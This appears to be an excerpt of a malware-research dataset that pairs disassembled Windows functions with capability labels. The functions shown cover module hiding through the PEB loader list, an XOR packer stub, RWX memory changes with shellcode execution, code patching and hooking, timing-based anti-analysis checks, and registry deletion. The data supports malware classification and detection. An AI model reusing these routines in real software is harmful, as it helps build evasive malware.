joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100626c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x100626f9
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x100626fd
cmp edx, esi
jne 0x100626e2
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x1006271d
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10062721
cmp edx, esi
jne 0x10062706
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x10062741
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x10062745
cmp edx, esi
jne 0x1006272a
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x100627d0
Capabilities:
Encode data using xor
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
xor eax, eax
push ebx
mov ebx, ecx
mov ecx, 0xd6
push esi
push edi
mov dword [ebx + 0x10], 0
nop dword [eax]
mov dl, byte [eax + 0x100abd78]
xor dl, cl
inc ecx
mov byte [ebp + eax - 0x29], dl
inc eax
movzx ecx, cl
cmp eax, 0x12
jb 0x100627f0
push 0x3f6f044f
lea ecx, [ebp - 0x16]
mov byte [ebp - 0x17], 0
call fcn.10059060
lea ecx, [ebp - 0x29]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
add eax, 5
push 4
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
push 0x1c
mov dword [ebp - 0xc], esi
call fcn.100684b8
mov edi, eax
add esp, 4
mov dword [edi], 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push edi
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x100628b8
mov eax, dword [edi + 8]
cmp eax, dword [ebp - 4]
je 0x100628ac
push eax
push 0
push 0x1f03ff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x100628a2
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [edi + 0xc], eax
jne 0x100628a2
mov ecx, esi
call fcn.10062750
cmp eax, dword [ebp - 8]
jne 0x1006289b
inc dword [ebx + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [ebp - 0xc]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x10062865
push 0x1c
push edi
call fcn.1006821d
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10062b40
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x5c
mov edx, 0xe4
xor eax, eax
push edi
mov cl, byte [eax + 0x100abdb4]
xor cl, dl
mov byte [esp + eax + 0x20], cl
inc eax
lea ecx, [edx + 1]
movzx edx, cl
cmp eax, 0x10
jb 0x10062b51
mov eax, str._._CC
mov byte [esp + 0x30], 0
sub eax, 0x69b76dfc
lea ecx, [esp + 0x17]
push eax
call fcn.10062960
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x40]
push 0
push 0x1e
xorps xmm0, xmm0
mov byte [esp + 0x27], 0
push ecx
push eax
movq qword [esp + 0x27], xmm0
movaps xmmword [esp + 0x30], xmm0
mov byte [esp + 0x40], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea eax, [esp + 0x10]
push eax
push 0x40
push 0x1e
push 0x10062af0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1e
lea eax, [esp + 0x44]
push eax
push 0x10062af0
call fcn.1006f680
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
push 0x1e
push 0x10062af0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.10060e90
test al, al
jne 0x10062c30
nop dword [eax]
xorps xmm0, xmm0
movups xmmword [0x101d9a2c], xmm0
movups xmmword [0x101d9a3c], xmm0
jmp dword [pe_dos_header]
push 0
call edi
push eax
call 0x10062af0
add esp, 8
jmp dword [pe_dos_header]

Function at 0x10062c50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ebp - 4]
mov ebx, ecx
push eax
push 0x40
push 1
push ebx
mov esi, edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [esi]
mov byte [ebx], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10062c90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [ebp + 8]
cmp al, 0xff
je 0x10062cb0
mov byte [esi], al
mov eax, dword [ebp + 0x10]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 5
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10062cd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea eax, [ebp - 4]
push ebx
push esi
push eax
push 0x40
push dword [ebp + 8]
mov ebx, ecx
mov esi, edx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esi, ebx
mov byte [ebx], 0xe9
sub esi, 5
mov dword [ebx + 1], esi
mov esi, dword [ebp + 8]
cmp esi, 5
jbe 0x10062d1a
push edi
lea ecx, [esi - 5]
mov eax, 0x90909090
mov edx, ecx
lea edi, [ebx + 5]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
pop edi
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10062d30
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, ecx
push edi
mov dword [ebp - 4], edx
call esi
mov edi, eax
mov dword [ebp - 8], edi
call esi
sub eax, edi
cmp eax, ebx
jae 0x10062d6e
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push dword [ebp - 4]
call edi
call esi
sub eax, dword [ebp - 8]
cmp eax, ebx
jb 0x10062d60
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10062d80
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10092910
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64c
mov eax, dword [0x100abdcc]
push ebx
mov dword [ebp - 0x18], eax
mov ebx, ecx
mov ax, word [0x100abdd0]
push esi
push edi
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x654]
push eax
push 0x3ff
mov dword [ebp - 0x34], edx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x10062eb4
lea esi, [ebp - 0x654]
nop dword [eax + eax]
mov ax, word [esi]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x254]
push 0x104
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x10062ea0
xor eax, eax
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], 0
mov word [ebp - 0x30], ax
cmp word [ebx], ax
je 0x10062e32
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10062e23
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x30]
call fcn.10064860
mov dword [ebp - 4], 0
cmp word [ebp - 0x254], 0
jne 0x10062e51
xor ecx, ecx
jmp 0x10062e6f
lea ecx, [ebp - 0x254]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10062e60
sub ecx, edx
sar ecx, 1
push ecx
push ecx
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x30]
call fcn.100645c0
mov edi, eax
cmp edi, 0xffffffff
jne 0x10062ec7
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 8
jb 0x10062ea0
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.10064980
nop
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x10062ea0
cmp word [esi], ax
jne 0x10062de0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x4c]
call fcn.10064480
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x30]
mov eax, dword [eax + 0x10]
push esi
inc eax
push eax
push edi
call fcn.100643e0
mov eax, dword [ebp - 0x38]
cmp eax, 8
jb 0x10062efe
inc eax
lea ecx, [ebp - 0x4c]
push eax
push dword [ebp - 0x4c]
call fcn.10064980
cmp dword [ebp - 0x1c], 8
lea eax, [ebp - 0x30]
cmovae eax, dword [ebp - 0x30]
push eax
push 0x104
push dword [ebp - 0x34]
call fcn.1007cb93
mov eax, dword [ebp - 0x1c]
add esp, 0xc
cmp eax, 8
jb 0x10062f2f
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.10064980
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10062fb0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x10063040
cmp edx, 0x20
jb 0x1006302b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10062fe9
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x100ac720]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm2
pxor xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10063000
pop edi
cmp eax, edx
jge 0x10063040
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10063030
pop esi
pop ebx
pop ebp
ret

Function at 0x10063050
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov bl, byte [ebp + 8]
movsx eax, bl
push esi
mov esi, ecx
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm2, xmm0, 0
test edx, edx
jle 0x100630e0
cmp edx, 0x20
jb 0x100630cb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10063089
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm1, xmmword [0x100ac720]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop word [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm1
psubb xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x100630a0
pop edi
cmp eax, edx
jge 0x100630e0
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x100630d0
pop esi
pop ebx
pop ebp
ret

Function at 0x100632f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
push esi
push edi
push 0x1f4
lea eax, [ebp - 0x1fc]
mov esi, edx
push 0
push eax
mov edi, ecx
call fcn.1006fc00
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1fc]
push eax
push 0
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10063351
xor eax, eax
mov esp, ebp
pop ebp
ret
push 0x1f4
lea eax, [ebp - 0x1fc]
push 0
push eax
call fcn.1006fc00
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10064250
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movaps xmm1, xmmword [str.eeeeeeeeeeeeeeeeZ]
sub esp, 0x100
movaps xmm2, xmmword [0x100ac1e0]
xor eax, eax
shl ecx, 8
lea ecx, [ecx + 0x100a26b8]
movups xmm0, xmmword [ecx + eax - 0x10]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ebp + eax - 0x100], xmm0
movups xmm0, xmmword [ecx + eax]
psubb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ebp + eax - 0xf0], xmm0
add eax, 0x20
cmp eax, 0x100
jb 0x10064272
lea eax, [ebp - 0x100]
mov esp, ebp
pop ebp
ret

Function at 0x100653f0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x101cd3dc]
sub esp, 0xc
push ebx
push esi
mov esi, dword [0x101cd3d8]
push edi
cmp esi, eax
je 0x100654d3
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp byte [esi], 2
jne 0x10065439
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
lea eax, [esi + 1]
push eax
push closesocket
call ebx
mov edi, dword [ebp - 8]
test edi, edi
jne 0x1006544a
mov eax, dword [0x101cd3dc]
add esi, 0x105
cmp esi, eax
jne 0x10065412
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [0x101cd3dc]
xor ecx, ecx
mov esi, dword [0x101cd3d8]
mov eax, 0x7d8c42b3
mov dword [ebp - 4], ecx
mov ecx, ebx
sub ecx, esi
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x100654bd
xor edi, edi
cmp byte [edi + esi], 2
jne 0x10065497
lea eax, [esi + 1]
add eax, edi
push eax
push closesocket
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [0x101cd3dc]
mov esi, dword [0x101cd3d8]
inc dword [ebp - 4]
mov ecx, ebx
sub ecx, esi
mov eax, 0x7d8c42b3
imul ecx
add edi, 0x105
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 4], eax
jb 0x10065474
mov edi, dword [ebp - 8]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
push 0
lea ecx, [edx + 6]
call fcn.10032a20
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10065710
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.100658c0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x100657dd
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x1006575a
mov eax, dword [ebp - 4]
cmp eax, dword [0x100b8004]
ja 0x1006575a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1006572a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.1006fc00
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x10065780
jmp 0x100657dd
cmp dword [ebp - 0x14], 0x10000
jne 0x100657c3
cmp dword [ebp - 0x18], 0x10000
jb 0x100657c3
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100657b6
mov eax, dword [ebp - 8]
jmp 0x100657df
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100657d8
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.100658c0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1006572a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x100657f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.100658f0
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x100658b5
mov edx, dword [ebp - 4]
cmp edx, dword [section..data]
jb 0x10065835
mov eax, dword [ebp - 4]
cmp eax, dword [0x100b8004]
ja 0x10065835
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10065805
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.1006fc00
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x1006585b
jmp 0x100658b5
cmp dword [ebp - 0x14], 0x10000
jne 0x1006589e
cmp dword [ebp - 0x18], 0x10000
jb 0x1006589e
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10065891
mov eax, dword [ebp - 8]
jmp 0x100658b7
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x100658b0
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.100658f0
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10065805
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10065920
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10065d10
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x101d8234], 0
jne 0x1006595d
cmp dword [0x101d8230], 0
je 0x1006595d
mov eax, dword [0x101d8230]
mov dword [0x101d8234], eax
cmp dword [0x101d8234], 0
je 0x100659da
mov ecx, dword [0x101d8234]
cmp dword [ecx + 8], 0
je 0x100659da
mov edx, dword [0x101d8234]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x100659da
mov ecx, dword [0x101d8234]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x100659da
mov eax, dword [0x101d8234]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x100659a9
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x100659b0
xor eax, eax
jmp 0x10065af9
mov ecx, dword [0x101d8234]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.1006fc00
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10065af9
mov edx, dword [0x101d8230]
mov dword [0x101d8234], edx
jmp 0x100659f6
mov eax, dword [0x101d8234]
mov ecx, dword [eax + 4]
mov dword [0x101d8234], ecx
cmp dword [0x101d8234], 0
je 0x10065a36
cmp dword [0x101d8234], 0
je 0x10065a34
mov edx, dword [0x101d8234]
cmp dword [edx + 8], 0
je 0x10065a34
mov eax, dword [0x101d8234]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x10065a34
mov edx, dword [0x101d8234]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x10065a34
jmp 0x1006598e
jmp 0x100659e8
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10065b00
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10065af7
mov eax, dword [ebp - 0x18]
mov dword [0x101d8234], eax
mov ecx, dword [0x101d8234]
mov dword [ecx], 0x52727464
mov edx, dword [0x101d8234]
mov dword [edx + 8], 0
mov eax, dword [0x101d8234]
mov ecx, dword [0x101d8230]
mov dword [eax + 4], ecx
mov edx, dword [0x101d8234]
mov dword [0x101d8230], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x101d8234]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10065ac7
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10065ae7
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x10065abe
mov eax, dword [0x101d8234]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1006598e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10084035
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10083eb4

Function at 0x10086475
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10086135

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp fcn.00401219
Function at 0x405a03
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x405a12
pop dword [ebp - 8]
mov eax, 0xbfdd997a
sub eax, 0xbf9d3f68
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xb760347e
sub dword [ebp - 0x18], 0x690def33
mov dword [ebp - 0x14], 0xc9463f8d
add dword [ebp - 0x14], 0x68ed0cb8
mov dword [ebp - 0x10], 0x85dfbfdd
sub dword [ebp - 0x10], 0x39937baf
mov dword [ebp - 0xc], 0xb9fbe1bd
sub dword [ebp - 0xc], 0xb9fbe1bd
lea eax, [ebp - 0x18]
push eax
mov eax, 0xdfa92cfe
sub eax, 0xdf68abfa
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x5d8639cd
add dword [ebp - 0x18], 0x16ec2f89
mov dword [ebp - 0x14], 0xf8fa54ed
sub dword [ebp - 0x14], 0xb78df378
mov dword [ebp - 0x10], 0x9cabb732
sub dword [ebp - 0x10], 0x393c4ac6
mov dword [ebp - 0xc], 0x407c37a0
sub dword [ebp - 0xc], 0x407c37a0
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x342cc
push 0
call eax
mov ecx, 0xfeceb2b
add ecx, 0xf013519c
xor esi, esi
add esi, eax
mov edi, 0x2b6c836a
add edi, 0xd4da6096
add edi, dword [ebp - 8]
mov edx, 0x939ff04d
sub edx, 0x4b696fca
xor dword [ebp - 4], edi
mov ebx, dword [edi]
sub dword [ebp - 4], 0x19e7cb10
xor ebx, edx
xor dword [ebp - 4], ebx
mov dword [esi], ebx
xor dword [ebp - 4], 0x8da2f584
add esi, 4
add edi, 0xb4d46629
sub edi, 0xb4d46625
loop 0x405b31
add eax, 0xe5ef
mov ebx, eax
add eax, 0x3c7a17f5
sub eax, 0x3c7a17f0
mov ecx, 0x400000
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x405cce
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x425f30
push esi
call fcn.00406212
push esi
call fcn.00405c71
mov edi, eax
test edi, edi
jne 0x405cef
xor eax, eax
jmp 0x405d47
push edi
call fcn.004064a6
test byte [0x42a258], 0x80
je 0x405d0c
mov ax, word [edi]
test ax, ax
je 0x405ceb
cmp ax, 0x5c
je 0x405ceb
sub edi, esi
sar edi, 1
jmp 0x405d26
call fcn.00406555
test eax, eax
je 0x405d20
test byte [eax], 0x10
je 0x405ceb
push esi
call fcn.00405c12
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405d12
call fcn.00405bc6
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405dc2
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405de1
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405de7
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc